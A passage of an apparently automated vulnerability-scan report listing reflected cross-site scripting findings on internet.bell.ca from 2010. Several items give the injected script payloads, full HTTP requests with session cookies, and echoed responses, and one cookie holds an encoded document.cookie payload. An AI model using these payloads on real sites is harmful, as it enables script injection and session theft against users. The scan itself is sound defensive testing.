2.27. http://internet.bell.ca/js/bannerPlayer.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/bannerPlayer.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 61e38"><script>alert(1)</script>5b35bf23fc5 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/bannerPlayer.js61e38"><script>alert(1)</script>5b35bf23fc5 HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:26 GMT
Connection: close
Set-Cookie: SMSESSION=nJTWvKfI2kMgkuWVWTNEVatoemql9HO/iVa6POEs+wZdDaFVWwlBYgYncxAcQ+zOSIy+d/Pm7lf7eG/DM6FLCqgfmBbT83+C7uuOow8dAF7OL9cBgQqGT2d51l7xzrMZy+87w6/uWVtk1SpO6AyhFOCtJ1kC7jl85uDqO7E9oaEE/gRe1dYYOGFqQMeXZzct+i9LX6nVxOXGx99adQowLKIF/g3V7noD4CmKPCKkhpq/0vssMWNe80l09SDZH0abFQBUcH8Vn5fnWPcywL6ajE57spA2dAyhbi94lzo8VpCwYw/xC6Zd9A==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:27 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:27 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
nput type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/bannerPlayer.js61e38"><script>alert(1)</script>5b35bf23fc5" />
...[SNIP]...

2.28. http://internet.bell.ca/js/flash_detect.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/flash_detect.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f72cb"><script>alert(1)</script>f383b0bd378 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsf72cb"><script>alert(1)</script>f383b0bd378/flash_detect.js HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:32 GMT
Connection: close
Set-Cookie: SMSESSION=yA/IB7IF/solOUp6Y/fFNemDPln9nF5amPEFEuyKVCiTK3xiOqYR7W5B1P5EeawGeYwfiQPg/9jhlSNifpSICeAxtbSgjEELAm886LA7AoVF8AVgG/+P92BaTOuT/Sgvsam/qvXo4JGB9bN8QzSHYuKKJCiY/4IcQIcBdT/bpydSIxQ8QtUODRsfGbHFsP4pBlp4lfzN8XDZMUb5LWKXMkiwgLjK66H8bX15qpCpxxRsxJO3MvGLMgg5o5F2xQoDTbCtQz3mPD6PWkQEA+SZWTIRNqxW5bVRbaOVrtJEMqlVEocb3IwETA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:33 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:33 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/jsf72cb"><script>alert(1)</script>f383b0bd378/flash_detect.js" />
...[SNIP]...

2.29. http://internet.bell.ca/js/flash_detect.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/flash_detect.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 31765"><script>alert(1)</script>559f9819ead was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/flash_detect.js31765"><script>alert(1)</script>559f9819ead HTTP/1.1
Host: internet.bell.ca
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: GEO_REGION=Unknown; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; BASE_CACHED_URL=http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%3F83853%2522%253E%253Cscript%253Ealert%28document%2Ecookie%29%253C%2Fscript%253E8d68ea21d78%3D1; UPROF_SIGNINURL=; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; SMSESSION=; UUID=76691B7F%2D65B8%2DB130%2D7ED2D1D19E9F3AD7; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; GEO_PROVIDER=Unknown; idevbellca0_s_pers=%20s_vnum%3D1293068635200%2526vn%253D1%7C1293068635200%3B%20s_invisit%3Dtrue%7C1290479798880%3B%20s_lv%3D1290477998885%7C1385085998885%3B%20s_lv_s%3DFirst%2520Visit%7C1290479798885%3B%20s_pv%3DSolution%2520builder%7C1290479798899%3B; VOKEN_SEEN=0; UPROF_PARENTUID=; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aca%253AInternet%2528en-on%2529%7C1290523586804%3B; __g_u=276131723871238_1_0.05_0_5_1290908625687; UPROF_ENCRYPTEDBLOCK=; CFID=115964071; __utma=250352478.1210637365.1290476758.1290476758.1290521787.2; GEO_SPEED=Unknown; __utmc=250352478; __utmb=250352478.1.10.1290521787; UPROF_USERTYPE=; UPROF_UID=; UPROF_MSNSTATE=; gemini=region=ON|province=ON|myurl=CSQ|language=en; CFTOKEN=16693619; __utmz=250352478.1290476758.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/0; UPROF_PASSPORTUID=; UPROF_ISAUTHENTICATED=; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; s_vi=[CS]v1|26758E4C051619C1-400001782041DF03[CE]; UPROF_SYMPATICOUID=;

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 23 Nov 2010 13:25:51 GMT
Connection: close
Set-Cookie: SMSESSION=BSvqZIhugm79aKAhqe2s8C+uju4YSc2Vnhb8/Hk97sPzo9FjJ8EPQEo78sg/s3XsU//NJToXKW6JIDlm1JsqtWdnLOnDL4yUb9TG9tETfPjy+cvePXRqfekPipNMPMqbFsmshg42A17arJG6dXMrV3KdXpUjWdsksKgoY4mH/vE1S0uurBRdmd9lvkB1Re/qYmkyOsiR6QiZONl0Y/9KV2ey1YTGTln+5FfoueNGb2yi9UkKfmoTTuC2Khfzr1CGVAJ/UUFOIoc3GvZwt1V7fqLp1AQb/7MiHiMjOX6CYDGQtKolrBh+EQ==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Mon, 23-Nov-2009 13:25:52 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Mon, 23-Nov-2009 13:25:52 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Mon, 23-Nov-2009 13:25:52 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Mon, 23-Nov-2009 13:25:52 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Mon, 23-Nov-2009 13:25:52 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Mon, 23-Nov-2009 13:25:52 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Mon, 23-Nov-2009 13:25:52 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Mon, 23-Nov-2009 13:25:52 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Mon, 23-Nov-2009 13:25:52 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Pour%20commencer%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Comptes%20et%20factures%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Courriel%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22S%26amp%3B%23233%3Bcurit%E9%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22R%26amp%3B%23233%3Bseautage%20%26amp%3B%23224%3B%20domicile%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22D%26amp%3B%23233%3Bpannage%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20introuvable%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Efr%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BAccueil%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Dfr%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSoutien%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Finternet%2Ebell%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Thu, 15-Nov-2040 13:25:52 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
nput type="hidden" name="return" value="http://internet.bell.ca/index.cfm?method=home.pagenotfound&path_requested=http://internet.bell.ca/includes/404.cfm?404;http://internet.bell.ca/js/flash_detect.js31765"><script>alert(1)</script>559f9819ead" />
...[SNIP]...

2.30. http://internet.bell.ca/js/flash_quickfix.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://internet.bell.ca
Path:   /js/flash_quickfix.js

Issue detail

